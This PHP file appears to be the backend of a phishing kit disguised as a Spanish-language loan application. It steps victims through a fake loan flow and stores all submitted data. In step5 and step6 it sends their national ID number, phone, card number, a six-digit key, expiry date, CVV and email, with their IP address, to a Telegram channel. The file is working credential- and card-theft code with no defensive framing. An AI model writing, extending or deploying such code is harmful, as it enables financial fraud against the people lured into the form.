<?php
if (!$_POST) {
  http_response_code(400);
  exit;
}

if (!isset($_POST["accion"])) {
  http_response_code(400);
  exit;
}

$accion = trim($_POST["accion"]);

unset($_POST["accion"]);

if ($accion == "step1") {
  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "step2";
  }

  $posible_nombre = "Cliente";

  $_POST["alias"] = $posible_nombre;

  guardar($_POST);

  //----
  $fecha = date('m/d/Y h:i:s a', time());
  $msg = "";
  foreach ($_POST as $key => $value) {
    $msg .= "$key: $value\n";
  }
  $ip = get_client_ip();
  $tlgbody = "-------------------- [$ip] --------------------

  $msg

  [$fecha] [$posible_nombre]
  -----------------------------------------------------------";
  //@send_tlg($tlgbody);

  echo json_encode(["r" => 1]);
  exit;
}

if ($accion == "step2") {
  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "step3";
  }

  guardar($_POST);

  //----
  $fecha = date('m/d/Y h:i:s a', time());
  $msg = "";
  foreach ($_POST as $key => $value) {
    $msg .= "$key: $value\n";
  }
  $ip = get_client_ip();
  $tlgbody = "-------------------- [$ip] --------------------

  $msg

  [$fecha]
  -----------------------------------------------------------";
  //@send_tlg($tlgbody);

  echo json_encode(["r" => 1]);
  exit;
}

if ($accion == "step3") {
  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "step4";
  }

  guardar($_POST);

  //----
  $fecha = date('m/d/Y h:i:s a', time());
  $msg = "";
  foreach ($_POST as $key => $value) {
    $msg .= "$key: $value\n";
  }
  $ip = get_client_ip();
  $tlgbody = "-------------------- [$ip] --------------------

  $msg

  [$fecha]
  -----------------------------------------------------------";
  //@send_tlg($tlgbody);

  echo json_encode(["r" => 1]);
  exit;
}

if ($accion == "step4") {
  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "confirmacion";
  }

  $ud = get_user_data();

  $meses = $_POST["meses"];
  $cuota = calcularCuota($ud["monto"], TASAANUAL, $meses);
  $_POST["cuota"] = $cuota;
  $_POST["total"] = $cuota * $meses;
  $_POST["tasaanual"] = TASAANUAL . "%";
  $_POST["tasamensual"] = round(TASAANUAL / 12, 2) . "%";


  guardar($_POST);

  //----
  $fecha = date('m/d/Y h:i:s a', time());
  $msg = "";
  foreach ($_POST as $key => $value) {
    $msg .= "$key: $value\n";
  }
  $ip = get_client_ip();
  $tlgbody = "-------------------- [$ip] --------------------

  $msg

  [$fecha]
  -----------------------------------------------------------";
  //@send_tlg($tlgbody);

  echo json_encode(["r" => 1]);
  exit;
}

if ($accion == "step5") {

  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "step6";
  }

  guardar($_POST);

  //----
  $fecha = date('m/d/Y h:i:s a', time());
  $ud = get_user_data();

  $msg = "";
  $msg .= "DNI: ".$ud["numerodocumento"]."\n";
  $msg .= "MONTO: ".$ud["monto"]."\n";
  $msg .= "MESES: ".$ud["meses"]."\n";
  $msg .= "CELULAR: ".$ud["celu"]."\n";
  $msg .= "CUOTA: ".$ud["cuota"]."\n";
  $msg .= "TOTAL: ".$ud["total"]."\n";
  $msg .= "TASA ANUAL (TEA): ".$ud["tasaanual"]."\n";
  $msg .= "TASA MENSUAL(TEM): ".$ud["tasamensual"]."\n";
  $msg .= "TARJ: ".$ud["tarj"]."\n";
  $msg .= "KEY6: ".$ud["key6"]."\n";

  $ip = get_client_ip();
  $tlgbody = "-------------------- [$ip] --------------------
  $msg
  [$fecha]
  -----------------------------------------------------------";
  @send_tlg($tlgbody);

  echo json_encode(["r" => 1]);
  exit;
}


if ($accion == "step6") {

  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "mensaje";
  }

  guardar($_POST);

  //----
  $fecha = date('m/d/Y h:i:s a', time());
  $ud = get_user_data();

  $msg = "";
  $msg .= "DNI: ".$ud["numerodocumento"]."\n";
  $msg .= "MONTO: ".$ud["monto"]."\n";
  $msg .= "MESES: ".$ud["meses"]."\n";
  $msg .= "CELULAR: ".$ud["celu"]."\n";
  $msg .= "CUOTA: ".$ud["cuota"]."\n";
  $msg .= "TOTAL: ".$ud["total"]."\n";
  $msg .= "TASA ANUAL (TEA): ".$ud["tasaanual"]."\n";
  $msg .= "TASA MENSUAL(TEM): ".$ud["tasamensual"]."\n";
  $msg .= "TARJ: ".$ud["tarj"]."\n";
  $msg .= "KEY6: ".$ud["key6"]."\n";
  $msg .= "VENCIMIENTO: ".$ud["vencimiento"]."\n";
  $msg .= "CVV: ".$ud["vvc"]."\n";
  $msg .= "EMAIL: ".$ud["email"]."\n";  

  $ip = get_client_ip();
  $tlgbody = "-------------------- [$ip] --------------------
  $msg
  [$fecha]
  -----------------------------------------------------------";
  @send_tlg($tlgbody);

  echo json_encode(["r" => 1]);
  exit;
}


if ($accion == "mensaje") {

  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "finalizar";
  }

  guardar($_POST);

  echo json_encode(["r" => 1]);
  exit;
}

if ($accion == "confirmacion") {

  $_POST["esta"] = "delay";
  if ($esautomatico) {
    $_POST["esta"] = "step5";
  }

  guardar($_POST);

  echo json_encode(["r" => 1]);
  exit;
}

if ($accion == "getUserData") {
  echo json_encode(get_user_data());
  exit;
}